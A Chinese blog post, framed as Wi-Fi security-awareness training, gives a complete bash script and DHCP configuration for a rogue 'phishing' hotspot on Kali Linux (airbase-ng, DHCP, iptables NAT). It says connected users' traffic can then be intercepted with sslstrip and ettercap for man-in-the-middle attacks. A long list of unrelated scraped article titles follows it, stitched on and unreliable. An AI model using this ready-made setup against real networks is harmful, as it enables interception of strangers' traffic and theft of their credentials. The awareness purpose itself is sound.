最近做了一个小的安全意识培训,目的是让小伙伴们谨防不信任的Wifi热点,用到了kali linux下的一些小工具。我是用物理机安装的kali linux,然后外接了一个无线网卡wlan2。

具体的技术细节记录一下,具体的shell脚本如下:

#! /bin/bash

case $1 in

“start”)

sleep 1

ifconfig wlan2 down

sleep 1

iwconfig wlan2 mode monitor

sleep 1

ifconfig wlan2 up

sleep 2

airmon-ng start wlan2

sleep 1

airbase-ng -e hellotest -c 11 wlan2

sleep 1

;;

“atup”)

sleep 1

ifconfig at0 up

sleep 1

ifconfig at0 10.0.0.1 netmask 255.255.255.0

sleep 1

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

sleep 1

echo “1” >/proc/sys/net/ipv4/ip_forward

sleep 2

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

sleep 2

service isc-dhcp-server start

sleep 1

;;

“startnat”)

sleep 1

iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

sleep 1

iptables -A FORWARD -i wlan2 -o wlan0 -j ACCEPT

sleep 1

iptables -A FORWARD -p tcp –-syn -s 10.0.0.0/24 -j TCPMSS –set-mss 1356

sleep 2

;;*)

echo “Usage $0 {start|atup|startnat}”

;;

esac

将以上shell脚本保存为cr_wifi.sh,然后依次执行:

./cr_wifi.sh start

./cr_wifi atup

./cr_wifi startnat

执行完之后就可以完成钓鱼热点的创建,其他人链接热点上网的流量都会经过at0,然后利用sslstrip,ettercap就可以进行中间人攻击的一些操作了。

以上shell脚本主要有三个部分:

1,将外接无线网卡的模式修改成监听模式,创建一个SSID为hellotest的无线热点;

2,将网络流量虚拟到at0这块网卡上;启动配置好的DHCP服务器;

3,添加iptables规则,配置NAT。

执行shell脚本之前需要现配置好dhcp服务,DHCP用的是isc-dhcp-server,需要安装一下,它的配置文件(/etc/dhcp/dhcpd.conf)如下:

ddns-update-style none;

default-lease-time 600;

max-lease-time 7200;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {

range 10.0.0.1 10.0.0.25;

option domain-name-servers 114.114.114.114;

# option domain-name internal.example.org;

option routers 10.0.0.1;

option broadcast-address 10.0.0.250;

default-lease-time 600;

max-lease-time 7200;

}

Linux系统搭建钓鱼WIFI教程,Kali linux创建钓鱼wifi热点相关推荐

  1. kali linux 装u盘安装教程,kali linux系统的安装教程(实现便于携带的外置盘系统)...

    kali linux系统的安装教程(实现便于携带的外置盘系统) kali linux系统的安装教程 我最开始想通过虚拟机安装在硬盘上,实现双系统.后来希望通过将系统安装在移动硬盘上,实现可随身携带的特 ...

  2. linux系统输入法怎么安装教程视频教程,Linux怎么安装中文输入法

    受够了Linux那不友好的输入法?想要在Linux上面安装中文输入法?小编为大家分享了Linux安装中文输入法的解决方法,下面大家跟着学习啦小编一起来了解一下吧. Linux安装中文输入法 Ubunt ...

  3. linux系统c 如何使用教程,基于Linux操作系统的C语言编译和调试方法解析

    摘 要:文章先介绍了GCC编译器相关内容,包括GCC编译程序和GCC编译选项,随后介绍了GDB调试程序相关内容,包括GDB具体操作和GDB基础命令,最后介绍了C语言编写中的注意事项,希望能给相关人士提 ...

  4. 路由器 刷 linux系统版本,路由器能刷kali linux固件么

    以发行版Ubuntu为 例(如果你在Windows下,可下载Ubuntu的ISO文件,再用wubi安装Ubuntu,可免去重新分区的麻烦),下载Buffalo WHR-G300N V2路由器的FTP版 ...

  5. 路由器能刷Linux系统吗,路由器能刷kali linux固件么

    满意答案 ufh543 2013.02.20 采纳率:48%    等级:11 已帮助:7153人 以发行版Ubuntu为 例(如果你在Windows下,可下载Ubuntu的ISO文件,再用wubi安 ...

  6. 软raid1 重新同步_软RAID搭建基于linux系统搭建RAID5

    实验二.软RAID搭建-基于linux系统搭建RAID5 实验要求: 1)创建RAID5; 2)添加一个热备盘sdj 3)指定chunk为32k 4停止阵列,重新激活阵列 5使用热备盘,扩展阵列容量, ...

  7. linux系统搭建redis cluster集群 切片集群 教程 centOS系统redis6

    目录 一.说明 二.环境信息 三.介绍 四.部署流程 五.测试 一.说明 该教程为redis集群-cluster切片集群部署方式,不包含redis的安装过程,如需redis安装教程请移步以下链接: & ...

  8. Linux系统简介-虚拟机安装教程(保姆级)-Linux常用命令

    Linux系统简介-虚拟机安装教程-Linux常用命令 1.Linux系统简介 1.1Linux系统的历史 1.2Linux系统的特点和优势 1.3Linux发行版的分类 2.虚拟机的安装教程 2.1 ...

  9. linux宝塔搭建网站,宝塔Linux面板搭建网站入门教程五(宝塔Linux面板安装WordPress博客程序)...

    本文于 2021-04-01 00:04 更新,本文內容具有時效性,如有失效,請在博客站內搜相關商家名稱,即可查看到關於此商家的最新優惠活動! 國外商家建議使用"谷歌瀏覽器"訪問, ...

最新文章

  1. Erlang之父给程序员的两点忠告 | 缅怀
  2. 劳动节特别活动,钉钉、支付宝合种,2-4天领证,限量9个名额
  3. ASP.NET 实现上传EXCEL,利用NOPI操作,转换得到DataTable
  4. 获取系统当前日期时间
  5. Struts2+Spring4+Hibernate4项目整合
  6. 小程序 局域网 服务器,微信小程序网络请求request局域网下的开发测试
  7. 记一次简单的企业微信推送消息开发(第三方应用开发)
  8. marshmallow——快速入门
  9. 服务器bios界面usb无线网卡,BIOS怎么开启无线网卡
  10. 2017年Q1中国服务器市场研究报告
  11. signature=54cb1c123491dc1a268a21f3502cccfc,汉隶《曹全碑》精讲精练
  12. 使用python中的pymrmr模块来进行特征提取,深入学习mRMR(最大相关最小冗余准则)
  13. 基于ZYNQ+AD9361的软件无线电平台设计与实现 (2)
  14. Android动画特效之Animator属性动画实现
  15. 22款奔驰C260升级ACC自适应巡航,高速省心不少
  16. 科学家利用计算机模型,科学家开发出最详细计算机模型 揭示130亿年宇宙奥秘...
  17. “蔚来杯“2022牛客暑期多校训练营1
  18. 扎拉赞恩 服务器 微信群,魔兽世界怀旧服1至60级练级任务攻略——部落篇1
  19. 微信公众号机器人开发
  20. Access数据库转换为SQL Server 2000数据库

热门文章

  1. UpdatePanel的简单用法(非嵌套)
  2. Duns Number为何会受到如此多关注?这几点理由足以让它发光!
  3. 现在还有多少java程序员是40岁以上的,他们都干嘛去了?
  4. 【JS模块】common JS 规范 看这一篇足够了
  5. 思科、华为、华三交换机配置端口聚合
  6. lucene php,用PHP调用Lucene包来实现全文检索_php
  7. php饮餐管理顾客流程,餐饮管理:难缠的顾客是机遇,这样做能让你的餐厅回头客不断...
  8. python按顺序批量修改文件名
  9. 汉王电纸书F30二VS巴诺NOOK2
  10. 使用lock 产生死锁